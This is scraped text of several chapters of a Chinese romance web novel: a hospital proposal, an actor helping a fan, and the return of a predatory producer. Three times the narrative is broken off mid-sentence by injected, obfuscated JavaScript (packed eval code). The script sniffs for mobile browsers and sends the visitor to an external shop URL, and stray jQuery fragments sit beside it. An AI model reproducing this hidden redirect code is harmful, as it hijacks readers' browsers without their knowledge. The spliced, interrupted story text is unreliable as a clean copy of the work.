江砚变得有些不像自己,他既内疚又不舍,甚至一度有些厌弃那个犹豫不决的自己。 但在女生醒过来那一秒,他觉得就像上天给他的恩赐一样,他……放弃不了一点。 时间来到七点半,医院走廊陆陆续续有了热闹的声音,窗外的光亮照进来。 程三好突然如释重负地松了一口气:“说实话,刚醒来,就看你一脸沉重,对不起我的表情,还说那几句话,我真的以为你要跟我分手。” 江砚抬眼看人,女生在枕头上微微偏头来看他。 两人对视着,程三好勾唇:“只要不是这件事就好……” “……哪怕待在我身边会有危险?” 爱好像会让人内心变得脆弱,江砚听女生这么一说,心里揪成一团,冷静不了一点。 出乎意料的是,她并没有点头,反倒摇头,一脸不认同:“我待在你身边何时危险了?” 她知道江砚在担心什么,在内疚什么,所以看向男人的眼神很温柔:“江砚……” “嗯。” 程三好手指触碰着男人的掌心,目光也落在那里:“其实当年从淮市一中转学,我一直很担心你。” 女生嗓音柔柔的,像她安静下来时给人一种淡然乖巧的感觉一样。 “虽然这么说有些矫情,但我的确因为当年罗坤的事,感到愧疚,这么多年都没有消散一点。我生怕站出来帮我一把的那个少年因为我被别人记恨,我不想,那个叫江砚的帅气同桌受到伤害。” “罗坤是个很疯的人,我打不通你的电话,留给李老师的字条,好像也没什么用,我就……很担心你,也想过去津市找你,但我连你住在哪儿都不知道……” “我只能告诉自己,如果你真的出事了的话,应该会上新闻,”程三好说到这儿的时候笑了一下,给自己解释,“我并不是盼着你出事的意思,反而庆幸你没有出现在新闻上,罗坤也因为犯什么事上网络。” “那时候每天刷完新闻,我想,你应该一切安好。” 程三好握紧江砚的一根手指,抬头,挑眉说:“重逢后来看,果真生活得蛮滋润的,毕竟帅了不少。” “现在罗坤因为伤我进监狱了,那枚悬在心头的炸弹最终还是炸在我身上,我真的感到庆幸……” “……看来我们还真如你所说,是命中注定。偏偏好周民联系的人是罗坤,要不然我还得一直对你心怀愧疚,还得一直因为存在着的罗坤隐隐不安。” “所以说,因为这件事的发生,你就觉得自己给我带来了危险,就心怀愧疚,大可不必,总的说来,要么我俩都有责任,要么,我们清清白白,谁也没有错,还有——” 程三好牵住江砚的手与他十指紧扣,与他对视:“就算真的有危险……我也认了。” 好像就过了几分钟,又像是几辈子那么远,江砚有点恍惚。 天空的乌云逐渐散去,阴了多日的天气变得晴朗,将灰色朦胧的雨雾蒸发个干净。 长街尽头,那片山野露出它真实的样貌。 山野中坐落着几户人家,峰峦山脊间是云层里倾泻而下的金光。 紫绿色的小赤叶楠木在风中摇曳,云朵流动,暖黄的一束光芒透过落地窗照进病房时,江砚听到了自己的声音。 “你真是个傻瓜……” 程三好都被自己那番话给搞感动了,她心想江砚现在定是对她喜欢得不行,偏偏嘴硬得很。 于是她善解人意地说:“没事,傻瓜爱你。” 江砚缓缓坐直身体嗯了一声,看着人眼睛:“我也爱你。” 太阳坠落房间,男人在橙光里的眼神很温柔。 对方很认真,程三好反倒不自在上了,飘忽着目光,半晌来了句:“告诉我的……爱人,咳,我想吃点水果了。” “行,”江砚颔首。 他眉梢都染上了笑,配合女生演戏,“你的爱人说他知道了。” — “大哥,你终于醒了!” 八点过几分,肖乐保在得知程三好清醒过来的第一秒就急奔医院而来,人未至,声先到。 打开病房门,看清里面的情景,嘴巴一下变成了o形,梗着脖子僵硬在原地。 只见她大哥仰躺在床上,扭头没什么表情地看着他,而在病床周围,则坐着女生的外婆,韩小希,赵柯。 这么说,他竟然是最后一个咯。 可恶,肖乐保鼻孔在空中扭曲了一下。 他快走几步,嘴上说着话,目光逡巡:“大哥,你知道的,我并非薄情寡义之人,我一得知消息就赶过来了,半点没耽搁。” 病床四周都坐满了人,肖乐保没找到凳子,也没找到位置可以加下去,又不肯自己坐沙发上,显得他好像一点也不关心大哥,于是他索性走到赵柯的身后,将手搭在他的肩膀。 白色的单人病房里,患者倚靠在床头,周围遍布是人,都拿一双眼睛看着她。 程三好无奈地笑了一下:“你们看猴啊?” 韩小希摇了摇头,觉得这样也怪让人有负担的,她站起身,说:“我们都去旁边坐吧,有什么想问的,接下来,一个一个来。” “别了吧,我真没事。”程三好婉拒。 然而这几个却突然心生默契一般,不约而同地去到了长沙发上,就连外婆黎芳园竟然也跟着去了。 程三好好笑地看着,最终只好纵容道:“好吧,那接下来,谁先说。” 肖乐保在她话音还未落,就举起了手,恭敬道:“臣有事要奏。” 程三好一边觉得幼稚,一边配合,神色带着点尴尬:“肖……肖爱卿请讲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黎芳园有点可惜地说:“好吧,我觉得你不错。” 肖乐保不愧是姨或奶的杀手,走哪都很受这个年龄层的妇人喜欢。 不过当下,他是一点洋洋自得都没有,反而有点心虚。 程三好和江砚交往这件事在他们几人之间从来不是什么秘密,外婆这一句他不错,他一下想到江砚那男人,瞬间气势都飞流直下,忙帮着说些好话。 “江砚,江总他那人其实也不错,比我好多了……主要的是,大哥她喜欢才是最重要是吧。” 黎芳园看上去有点心不在焉:“我知道。” 这几天,江砚照顾着程三好,一边还要兼顾着工作,能看得出来,人憔悴了一些。 他是那种一眼看上去就是家里不缺吃穿长大,有钱人家的孩子,谦逊有礼,事事周到。 黎芳园当晚回酒店很久都没睡着,她其实有点不满意这个外孙女婿。 她这个年纪,接触过各色各样的人,所以江砚在她面前尽管收敛着气势,对她这个长辈谦卑有节,处处照顾,但她还是看出了他这个人绝非表面上看着那么简单。 因为有了程伟国的前车之鉴,黎芳园不像其他家长一样,一定要逼着自家孩子成婚,她反倒觉得,外孙女自由洒脱些好,但这一次,她出了事,第一时间守到她身边的,却不是她。 黎芳园年纪上来了,身体也不是很好,也不知还能在这人世间能再看几回日落。 大酒店的床垫很软,她很不习惯。 孩子的父母形同虚设,倘若以后,她不在了,而外孙女生病或者受伤,没个人照顾她,黎芳园不敢想,自己会有多心疼。 房间冷寂,月光撒进屋内。 老人最终闭上眼睛,裹紧了被子。 113. 求婚 病房里很热闹,肖乐保和韩小希“慰问”过程三好后,争着抢着去洗水果。 赵柯将来看望的花篮放到旁边的柜子上,坐下,抬眼看着人。 他话不多,来来去去就那几句。 程三好扭头打量着他,半晌突然道:“瞧着长胖了些,最近心情不错?” 赵柯张了张嘴,摸了下自己的脸,微惊:“有吗?” 程三好点头,正欲说话。 “肖乐保!你这颗草莓都没洗干净!” “不干不净,吃了没病!” 那两人待在一起,没几个分钟就吵起来。 程三好无奈地笑了一下,才对赵柯说:“拍戏顺利吗?” “嗯,”赵柯点头,“你呢?” “我也是。” 赵柯看了女生一眼,良久,说了句:“我真的很胖吗?” 程三好愣了一下,转瞬笑道:“你还挺在乎形象啊,之前太瘦了,现在这样还是瘦,但是相比下来,还是要好一些,所以我才这样说,并不是说你真的很胖。” 赵柯嘴角微扬,他的笑总是那种带着点偷感,隐隐戳戳的,不明显。 程三好看在眼里,挑眉:“想笑就笑呗,偷笑干嘛?” 赵柯摇头,说:“你不要污蔑我。” 坏了,身边一个接一个的人都肖乐保化了,程三好心里咯噔一下。 她一脸痛心疾首样:“赵柯呢,赵柯去哪儿了啊?” 听着她话的肖乐保从卫生间探出头:“大哥,你叫我?” 程三好:“……” 赵柯的笑容变大了。 — 最终,肖乐保一个洗草莓的苦工没有吃到草莓。 三人还有工作上的事,不好久待,不一会儿前前后后地走光了。 程三好才醒来两天,伤口恢复得很好,就是经常感到困倦,是身体发出的信号,她还需要好好修养。 她眼皮耷拉着,黎芳园在拿着温热的毛巾低头给她擦脖子。 “外婆……”她懒懒叫人。 黎芳园没挑眉,她那眉毛天生就是上扬着的状态,她问:“怎么了?” 她语气一点不温柔。 程三好:“我有男朋友了,嘶——” 皮肤被擦红,黎芳园收回手。 程三好伸手摸着自己的下巴,质问小老太婆:“你要谋害你亲外孙女儿啊?” 是以往的话,黎芳园肯定早就心疼地褪下伪装要关心她了,但今天,她只是道:“他对你怎么样?” 知道她说的“他”是谁,程三好神色正经起来,认真道:“我和他认识八年了。” 黎芳园怔愣,她倒是没猜到,二人竟然是这样的关系,她问:“交往了八年?那会儿你多大啊?在读高中吧?啊?” 眼见老人要起身拿工具去揍人了,程三好拉住人,笑道:“你听我解释。” 怕拉扯着女生的伤口,黎芳园坐下,一脸我看你怎么狡辩的表情。 程三好摸着外婆有皱纹的手,低着头漫不经心道:“我和他的确是高中同学,也是在那会儿认识的,但你知道的,后来我转学了,我们便再也没见过,直到几个月前,我参加了一档综艺,才重新认识,并慢慢走到了一起。” 她抬头:“我知道你在担心什么……不是所有的男人都像外公一样,像程伟国一样。” “外婆,”程三好神情很认真,“江砚他是一个很好的人,这一点,我比谁都清楚。” 黎芳园:“……我看那孩子家庭——” “他也是普通人。”程三好一开始也会这么想,所以她很理解外婆的忧虑。 她靠在枕头上,笑了一下道:“我见过他的小姨一家人,都很友善的,而且我还会拳击,你还怕我会被他们欺负不成。” 黎芳园说:“好。” “?”她这么容易松口,倒是让程三好震惊不少,“外婆,你最近是不是看了好看的电视剧,所以才那么宽容啊?” 不怪她讶异,因为黎芳园对程伟国特别憎恶,连带着像他一样西装革履的商人也一并讨厌上了,所以程三好在与江砚交往上以后,才会瞒着黎芳园。 她还没想好对策,没成想自己先出事,二人提前见过面了。 当然,目前为止,程三好还没有见过他们二人相处时是怎样的氛围,因为她醒后大多时间还是在昏睡,醒过来时,要么是江砚在身边,要么是黎芳园,所以不知晓,他们现在的关系。 见外孙女一脸惊讶,黎芳园叹了口气,她摸了摸女生的头:“长大了……以后的路都要自己走,都是自己的选择,只要到时候你不后悔就好。” 程三好点头,乖巧应声:“我知道。” 病房外,黑色的商务皮鞋不知站了多久。 江砚目光落在屋内的两孙女身上,少顷,抬手,握上了门把手。 听到门打开的声音,程三好侧头看过去。 两人对视上,她看见男人信步走向床边。 江砚率先移开目光,看向旁边的黎芳园,放到大衣口袋里的手抓紧了一个方方正正的盒子。 “……这是我外婆,”程三好觉得江砚神情有点奇怪,看上去竟然有些局促,就主动打破沉寂,“你们应该已经见过?” “嗯,”男人喉头在修长的脖颈上滚了一圈,眸光闪动,面向黎芳园,喊了声,“外婆。” 程三好难得见他那么紧张,绷着唇忍住笑。 黎芳园需要努力抬头,才能看到这个个子很高的男生,她嗯了一声算是应答,又说:“别傻站着,过来坐。” 江砚点头,抬腿坐在床尾的一张椅子上。 房间安静一瞬。 程三好正要开口说些什么来再度打破沉默,就听见江砚对黎芳园说道:“外婆……我身高185厘米,常年增强体魄,有在时刻健身,也有在每年体检,身体每项指标都正常。” “我工作稳定,年收入过亿,有车有房,没有不良癖好,也不抽烟,偶尔应酬会喝酒但克制。” “三好是我的初恋,也只会是我唯一的爱人,我私下作风良好,不会去夜店,工作完就回家陪她;” “我父母在我初三时逝世,如今家中最亲的只有一个爷爷,他不古板,为人开放,对于我找女朋友没什么标准,不会为难三好,只会将她看作自己的亲孙女看待;” “小姨她一家更是非常喜欢三好,得知我交女朋友后就一直在催,要带三好过去玩玩。” “我公司总部虽然在津市,但在淮市也有房子,也有子公司在这边,以后无论三好想要在哪里久住,都可以,都有落脚点,我都听她的。” 他一连串说了这么多,丝毫不带喘气的,而且语调不急不慢,越说到后面还越冷静。 程三好瞳孔微微放大,愣愣地看着人,不知江砚为什么突然搞得这么严肃。 江砚依旧在看着黎芳园,不假辞色:“我今天刚去取回来定制的戒指,本来是想等三好出院后,再布置一番,将所有人都聚在一起,给她一个盛大的求婚惊喜,但是……” 男人看向倚靠着床头的女生,眼底氤氲着点什么:“我刚站在门外,听到了你们的对话……没有什么时机比现在更适配了。” 说着,江砚掏出一个红色的小盒子,上前一步正面对着程三好单膝跪地。 他眼神认真到有点肃然的地步,脊背挺得很直。 “今天,我当着最爱三好的您的面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228788|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑重向您承诺:我江砚此生绝不让您外孙女受半点委屈,绝不会负她……我希望您能放心把她交给我,从此以后——” “世界上,最爱程三好的人又多了一个。” 落地窗外的日光斜打进来,长街人群攒动。 虽然是冬天,但这难得放晴的天气还是让不少人出门游玩。 灌木丛中有一棵高挺的常青树,日光正盛,斑驳阴翳打在窗子上,投射进房间。 蓝色的床头柜上还放着一杯没喝完的水,塑料杯中,细碎的星芒浮动,反射到天花板,像是湖水涟漪晃动。 江砚一直保持着这个姿势,目光与程三好交汇。 呆愣的女生还未说什么,黎芳园已经站起身,拖着江砚的手腕,让他起来。 “竟然你都这么说了,我并非不通情达理的人,”老人第一次面对江砚慈祥地露出笑容,“你比我想的还要成熟,还要有责任。” 她拍了拍江砚的手,神情又是感慨又是有点酸涩:“孩子……你要好好待她。” “我一定。”男人郑重点头。 太诡异了,尤其是黎芳园这突如其来的转变。 程三好已经反应过来,“我还没同意呢,怎么氛围那么怪。” 她身体不能动,一个人孤零零地躺在床上,床下的两人倒是一瞬间亲近了不少。 黎芳园倒也不是说短短几天就对江砚完全信任了,她只是……不希望,外孙女出事时,再像过去那般孤身一人面对了。 那个晚上,她想通了,不能一朝被蛇咬,就一直停滞不前。 孩子长大了,她是不是也该往前走一步呢。 她是很怕程三好被江砚辜负,但总要试一试,结果如何,她想,外孙女她已经是大人了,她该独自去面对这些,承受这些了。 想通后,心中忽然明了,黎芳园看江砚的目光越加满意——这也许是一件幸事。 于她而言。 “外婆,”程三好见二人都不理自己,又喊黎芳园一声,“你还能记起我这个外孙女吗?” 老人鬓角泛白,迎着光,镀上了一层金色。 她牵住江砚的手到床头边,终于扭头理程三好了。 “你以后对人家小砚也好一点,不要再懒洋洋地不搭理人,知道吗?” 这才见过几面,称呼就变了,程三好气笑了,不过最终也只能认命道:“我知道了。” 黎芳园满意了,松开江砚的手,退后一步,把空间留给两个年轻人。 “我看街道热闹得很,也想出去逛逛,你们慢慢聊。” 她说完,头也不会地转身走了,从步伐来看,还挺欢快。 房门开又关,声音消失,现在病房里只剩下两个人。 江砚拖过椅子坐下,一只手上还拿着打开的戒指盒子。 他抬眼,见女生偏过头没看他。 “怎么了?”男人话里带着笑意,“外婆可是同意了,你反悔可没用。” 女生依旧偏着头不看人,须臾,她来了句:“……其实我还挺期待你口中所说的盛大的求婚惊喜的。” 话是这么说,被子上的手老实地伸过来,在空中动了动。 江砚瞥见了,他轻笑一声,低头取出一枚银色素戒,认真地给人戴上。 完成后,他也没松开,就握着程三好的手举到嘴边亲了亲,温热的气息缠绕上女生的手背。 “没事,”他这样说道,“回头,我再求一次,包你满意。” 程三好点点头,一脸认可,像是被哄乖了。 她脑袋在枕头上转过来,与江砚对视上。 男人伸手摸她的脸,磁性的嗓音像在蛊惑人。 “不给我戴上吗?” 114. 风起 程三好这时也不别扭了,拿出戒指盒子中的另一枚正要戴进江砚的无名指,突然瞥到戒指内圈好像有字。 她顿住,定睛一看,是两个字母H。 好好的首拼音。 程三好眼睫忽闪,迟疑着问:“是我名字的缩写吗?” “嗯,”江砚还在伸手等待,“你戒指上也有。” 程三好嘴角微勾,先给男人手指戳个戒指,才又好奇地摘下自己的,凑近了看,内圈上果然刻着JY两个字母。 她抬头,眼里像是冒着颗小星星,很亮:“你雕刻的吗?” 男人喉咙低嗯了一声,垂目看着她。 “我很喜欢……”女生脸上的欣喜毫不掩饰,“原来我对浪漫也不是那么过敏。” “……”江砚半挑眉,“可能也要分时候吧。” 程三好肉眼可见地更开心了:“说的有道理。” 她手指细白显瘦,也没有留长指甲的习惯。 在空中看了看,程三好扒拉过江砚的手到自己跟前,就这样比对着。 男人的手虽然匀称修长,但也大。 两人的戒指都戴在无名指上,尺寸合适。 她露齿笑:“还挺般配。” 江砚全程目光都落在女生脸上。 她虽然大伤未愈,但自从醒来后,好像开心的时间段变多了,或者说她对他更加敞开心扉了,还有了自己的小脾气,慢点亲,她都会有小情绪。 罗坤对她的影响不小,所以过去时光里,尽管和他相处每天乐呵呵的,但心里还是有点小疙瘩,现在才算是真的没有了。 她像只毛茸茸的考拉,在此刻袒露出的自己的小肚子,可以让他触摸。 瞧着瞧着,越发觉得跟个小动物似的,江砚抬手覆盖住那只还在比较的小手,眼底的笑意浓了。 — 赵柯打车回去,如常拍戏。 拍摄已经进入尾声,他内心的焦虑减缓。 从车上下来,如过去好几个白昼一样,他听到熟悉的声音。 “哥哥,下午好!” 萧童早上没守着人,下午才见到,难免激动,多说了几句:“上午没来是请假了吗?” 赵柯往前面走,萧童也不在乎,与他开玩笑:“好好拍戏嗷,先搞事业,不要谈恋爱嗷。” 刚说口就觉得不妥,萧童改口:“哥哥是事业批,怎么会谈恋爱?就算谈也是正常的,你是演员嘛。” 赵柯高冷着脸,没有理会。 收工的时候,却没看见人。 他轻皱了下眉,心里升腾起一股异样。 “看什么呢?赵柯,”经纪人已经上了车,叫他,“走了,晚上有个聚餐。” 时间已经六点过了,天色灰蒙蒙一片。 余晖落尽,建筑物上方的云层暗淡。 赵柯从马路上收回视线,一只脚踏上商务车,一只手扶着车门,手指用力,脚下蹬地,他欲上车。 “砰……” 不怎么脆响的扑通声从后方传来,闷闷的,很小声。 赵柯落地的一只脚都抬了起来就忽然听到一道不明显的痛哼声。 动作顿住,他还是收回脚下了车,转身,一眼就看到几米开外,萧童趴在马路牙子上,神色痛苦,怀里的蛋糕都掉到人行道上,摔得稀烂。 赵柯当即走了过去,或者说小跑更为贴切。 萧童没注意到人,她脚崴了,手蹭在地面,这会儿汩汩地冒血。 膝盖撑着地面,她试图爬起来。 就在这时,突然被人从身后穿过腋下抱了起来。 赵柯扶着人,问:“还能走吗?” 萧童克制住紧张,一只脚落在地面,另一只脚离地,尽管现在很狼狈,但她心思都跑到了架着自己站着的男生的身上。 “蛋糕……” 她说得前言不搭后语,赵柯不理解:“什么意思?” 精心定制的蛋糕现在丑不拉几地躺在地上,萧童脚又疼,强行忍住泪意说:“我本来要给你的。” 这孩子说话不连贯,赵柯要努力点转动脑袋才能明白她的意思。 明天是他的生日,她这是提前送给他是吗? 赵柯关注点都在女孩子扭伤的脚踝上,他见她表情难过,只好说:“好,我知道了。” 又道:“能站稳吗?” 痛劲上来,萧童咬住牙点头,下一秒就见男生一只手小心翼翼地虚虚护住她,微微蹲下身体,伸手在地上的蛋糕上面挖了点奶油。 “不要——” 萧童惊讶出声阻止,然而那点白色的奶油很快进了男生的嘴里。 赵柯喉结滚动,吞咽唾沫,像是没看到小女生的神情,犹自伸手将人横抱起来。 萧童下意识揪住男生的衣服,懵懂着问:“你要带我去哪?” “去医院。” “不用,我回家——” “你能走?”赵柯低头看人。 萧童离他那般近,感觉耳边都是男生热乎乎的气息。 她咚地一下埋着头,脸红得不行。 赵柯没注意到,抱着人上车。 经纪人挂了电话,见状,一整个愣住,也不知道想到哪里去了,神情慌得不行。 “赵柯啊,不行!不行不行。” 他摆着手,很急:“虽然我说倒是很希望有人粉你,但你不能这样——这样对待粉丝的!” 赵柯被吵得心烦,随便说了句:“我不是那种人,她给我买蛋糕摔倒了,脚扭伤,先送她去医院吧。” 经纪人猛地闭嘴,这才看到这个女孩子的手掌都是血。 他明白过来,跟人姑娘道歉:“不好意思啊,我想偏了。” 萧童被人放到后座椅上,坐稳了身体,她对上前方驾驶座上的人,浅笑着摇头:“没事,就是麻烦你们了。” “没事没事。”经纪人是个还算善良的人,也没再说什么,转过身启动车子往最近的医院驶去。 车内安静下来。 空间很私密,萧童似乎闻到旁边男生身上淡淡的清茶香。 他衣服也不是什么大牌,相反很廉价,但是洗的很干净,头发也是蓬松的。 他与她接触过的大多男生都不一样,总觉得人看上去就是香香的。 她偏头,小心地偷瞥人,就看见男生从一旁的纸巾盒中抽出几张纸递给她。 萧童不懂,但她接过来攥在手中。 赵柯看到了,道:“手臂上的血,擦擦。” 擦擦。 萧童耳朵痒。 她低着头,纸巾在擦小臂上流的血,余光中还是看着人。 十分钟都没到,医院就在前方可见。 车子停下,萧童伸手打开车门,试着挪动一下歪着的脚,却不成想低估了自己的耐痛能力。 她嘶了一声,疼得脸色发白。 从另外一边下车的赵柯听着这声,加快步伐来到女孩子身前。 他边弓腰进车里抱人,边似乎是苛责了一句:“急什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14249276|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧童这次老实了,听话地揪住人胸前衣服。 她态度很好:“哥哥别生气,我刚才是忘了。” 赵柯横抱着人往医院楼里走,经纪人跟在身后。 挂了急诊科,拍了片子,胜在没扭着骨头,只是韧带拉伤了,但痛感可不低。 诊室内,医生在给萧童开药。 赵柯站在一边,不放心地问:“不需要住院吗?” 医生:“不用,回去后,按照我开的药,有吃的,有敷的。短时间内,尽量不要走路,或者用拐杖借力,不出两个月就应该恢复好了。” “谢谢。” 经纪人不傻,主动拿上处方笺去药房提药了。 赵柯架着女生的肩膀离开诊室。 萧童单脚在地上蹦跶,两人在走廊上,找了个位置坐下,等待经纪人。 天色已经完全黑了,医院大厅里的人不是很多。 正中央上方有块大屏,红色的字体滚动,显示的是一些药的价格。 萧童的受伤的脚被喷了药,这会儿肿得像个馒头。 手掌和手臂的伤不严重,贴着创口贴。 她倚靠着座椅,而赵柯没有,他直直地坐着,姿态松散,手揣进兜里微微耸肩。 这个动作常人做会有点小混混的气势,但他脸长得白净冷清,所以倒是孤寂感重一些。 萧童不动声色地打量人,突然听到男生说话时一时没反应过来。 “以后不要再来了。” 赵柯下巴藏在衣领处,碎发微微遮住他的上眼睑。 萧童眨了一下眼睛,“什么?” 赵柯直起身体,眼睛没有情绪,他说:“经纪人的收入和我的是挂钩的,所以当着他的面,我一直没说。” 他扭头,望着这个小女生:“今天回去后不要再来了,好好生活,好好工作,追星浪费时间金钱,不值得。” 萧童不可置信,内心却在下坠,她挣扎:“我有的是时间,也不缺钱,所以你不用担心我。” 赵柯移开视线,眉宇间有烦躁:“我没有担心你,我只是不喜欢。” 这话一出,两人皆是顿住,好一会儿没说话。 “哥哥……”萧童低头,“我很让你讨厌吗?” 赵柯眉头皱着又松开,看了一眼身边的小女生,顷刻,说:“……也不讨厌,你别多想。” 萧童咚地抬起头,“真的?” 男生却怎么也不说了。 萧童神情雀跃得不行,“只要不讨厌我就好,那我以后还能来追你这颗星吗?” 赵柯:“不行。” 萧童:“或许你不知道,我其实只有在每天来见你时或者来见你的路上感到快乐,所以这于我来说,从来不是一种负担,麻烦……我,很开心你能重回银幕的。” 她很固执,身上那种倔强劲和六年前那个晚上的脏兮兮的小女孩重叠。 时光总是这样,悄无声息地以一种别样的方式提醒着赵柯。 不断地告诉他,往日不可追,今时在进行。 揣在兜里的手动了动,赵柯只觉疲倦,最后什么也没说。 而萧童见他沉默,以为他同意了,心下开心不少。 经纪人拿到药回来后,又将小女生送到了家。 赵柯架着人在门边,等她开锁,推开门进去,扶着人走到沙发边,又拿过手中的拐杖放到茶几沿。 “我走了。” 他就这样丢下一句话,甚至没看人一眼,转身就朝屋外走去,打开门离开了。 115. 浪涌 所谓的聚餐,其实就是同剧组内的演员导演一起吃个饭。 拍摄电视剧期间,演职人员之间的关系是否和睦是制片人重点关心的问题,属于内部管理范畴,所以为了协调增进剧组内大家的感情,聚餐就是其中重要的一环。 饭局上少不了要喝酒,尤其是赵柯这样的小咖味明星,别人给他敬酒,他只有闷头喝的份。 从包厢出来,脚下发虚,周围事物在旋转。 经纪人架着他往停车的地方走,语气中难得带着点心疼:“我说你就是太实诚了,喝酒时做做样子,浅浅地喝一点就行,谁像你一样,一喝就是一杯。” 男生垂头,碎发遮住眼睛,瞧不清情绪。 经纪人单手打开车门,正要把人放进去,赵柯突然猛烈的挣扎起来,松开他去到旁边的草坪上狂吐。 他吓了大跳,急忙跟上去,拍了拍男生的背部。 右手边的路灯照过来,赵柯的脸色发白,神色痛苦。 经纪人看着他这幅样子,忍不住生气道:“我看你就是没把自己的身体当回事,反倒像是逮着机会糟蹋自己!” 心里又气又担心,经纪人见他没再吐了,从兜里掏出纸巾递给男生。 赵柯垂着眼皮,嘴角也沉着。 一双手跟细葱一样,纤瘦修长。 浅蓝色的牛仔裤空荡荡,冷风直往里面灌。 几缕发丝在小弧度地飘扬,侧脸轮廓清晰。 经纪人看着看着,不知为何,也许是这个时间段路上基本没啥人,大街上行人寥寥无几,地方又远离市区,没什么绚丽的霓虹灯,所以在这样孤寂的夜晚中,他莫名觉得赵柯身上有一种浓郁的孤单感。 他哀叹一声,架着人往车的方向走。 “还有两天,你的戏就杀青了。” 男生坐进后座,经纪人在门边缓慢道:“结束后,先休息一段时间吧。” 车子向黑夜中驶去,天空没有月亮,没有星星,只有浓墨一般地黑。 大道两侧成排的路灯飞快向后退去,地上的枯黄的树叶被寒风卷走。 赵柯的头磕在车窗上,眼皮像是没什么力气一样地搭在中途。 视野中,一团团五颜六色的光晕,虚幻如梦境。 身体游离在世界,感受不到任何存在。 白天……还是何时,发生过的事情,胸口压着块重石,赵柯很累,他闭上了眼睛。 — 萧童躺在床上,房间没开灯,只有手中握着的手机光亮照着她的脸庞。 她正在回复视频评论。 【姐妹,今天怎么没更新?[打滚]】 萧童:【我去了横店,本来给他准备了生日蛋糕,结果不小心摔倒了,素材就没取到】 【啊,没事吧?严重吗?】 萧童:【不严重,当时只是扭伤了脚……哥哥把我送去了医院】 【啊啊啊啊,他怎么那么好,距离是不是很近!】 【话说,蛋糕他收到了吗?什么表情啊?[好奇]】 萧童:【算是收到了吧……蛋糕摔地上了,但是——他伸手吃了奶油[害羞]】 【啊啊啊[土拨鼠尖叫]他还真是外面看着高冷,实际上还挺暖心的诶】 【完了,姐妹……你要喜欢他一辈子了,如果是我,我会当场泪奔】 【我也是被安利上了,狠狠心动!】 【姐妹,想要个联系方式,我想要下次和你一起去线下见他】 萧童看着这条留言,嘴角的笑有点勉强。 她好怪,看到越来越多的人喜欢赵柯,她应该感到高兴才是。 萧童摇摇头,回复那条评论:【好啊,私信给你】 两天后,下了场小雨。 路面潮湿,斑点墨迹。 赵柯从片场下来,头饰还没摘,身上的戏服还没脱,就听到门口有人叫他。 “赵柯,有人找你。” 他脸上没有表情,抬腿出了庭院,站到台面上正要向下面走时,视线前方对面马路上站着个人,那是王吉…… 赵柯拳头一下握紧,呼吸暂停一秒。 他甚至没有停留,转身就要不理会男人进房子。 “赵柯!”王吉紧紧盯着人,大声喊,“视频!” 男生猛地停下,抿紧唇,窒息感一阵阵地冲击着天灵盖,一度让他晕得直犯恶心。 王吉在说完那句话后就没再说什么,只是看着人的背影,一副胜券在握的表情。 果然短到不足一秒,台阶上的男生就扭身朝这里走来。 赵柯双手揣兜,眼睛不看人,冷言道:“你到底要干嘛?” 比起几年前,稚嫩的青年变作了成年人,脸上的青涩褪去,露出几分男人的英气。 他的皮肤好白,跟块白玉似的,身高也长高了一些,面部骨骼感清晰,立体了不少。 王吉一直很吃这款长相的男生,一个月前在那个小镇上,周围太黑,他没怎么看清楚,现在是白天,光亮很盛,摹地近距离下看着男生,那种致命的冲击感一度让他差点忘记了愤怒。 赵柯能感受到那种恶心的目光正在打量自己,他唇线抿得死紧,甚至发白。 “那个视频我出钱买断……”他一刻都不想待,只是尽快解决问题。 王吉人长得就很污染眼球,他的头顶头发稀疏,配上那副眼窝凹陷,纵欲过度的脸更是令人生理不适。 他对自己很自信,半点不带自卑的,听着男生的嗓音,他口干舌燥,脑子画面都是几年前那个包厢沙发上,他抱着赵柯的场景。 想到这里,王吉目光都没移开一下,伸手要去碰着柯的脸。 “啪!”男生瞳孔放大,应激似的将王吉的手打开。 赵柯声量控制不住:“你别碰我!” 他身躯都在不自禁地细微抖着,呼吸急促得不像话。 他一副像在看什么恶心的玩意儿一样的眼神成功激怒王吉,或者他好不容易探查出赵柯的信息,来找他的路上,内心的愤怒就没平息过。 从那个秋水村小镇上回去后的当晚,他还未回到家中,中途就突然被蒙住脑袋,拖到没人的地方被一通揍。 等他疼得求饶的时候,打开黑袋子,周围已经没有了人。 然而这只是一切操蛋的开始,他先是被制片人踢出剧组,然后莫名被举报pc,在局子里蹲了几天,出来后,他老婆跟人跑了。 试图找工作,却发现过去和他交好的朋友们个个唯恐殃及池鱼一般,闭门不见他。 他一下子被圈内人排挤,那些过去里看他眼色的人现在却敢当着他的面嘲讽他。 王吉那会儿才渐渐反应过来,自己应该是被人针对了,且这个人在圈内地位很高。 他细细地想,试图从记忆中找出一些关键的信息,看自己得罪了哪个大佬。 想到某处时,整个人僵持在原地。 他那天在小镇上得罪的几个人录制的综艺正是映华娱乐出品的,而这公司背后的爸爸是江财集团。 他得罪了江砚。 想清楚了,他就求助陈望,希望他能帮自己牵线见江砚一面,他好当面赔罪。 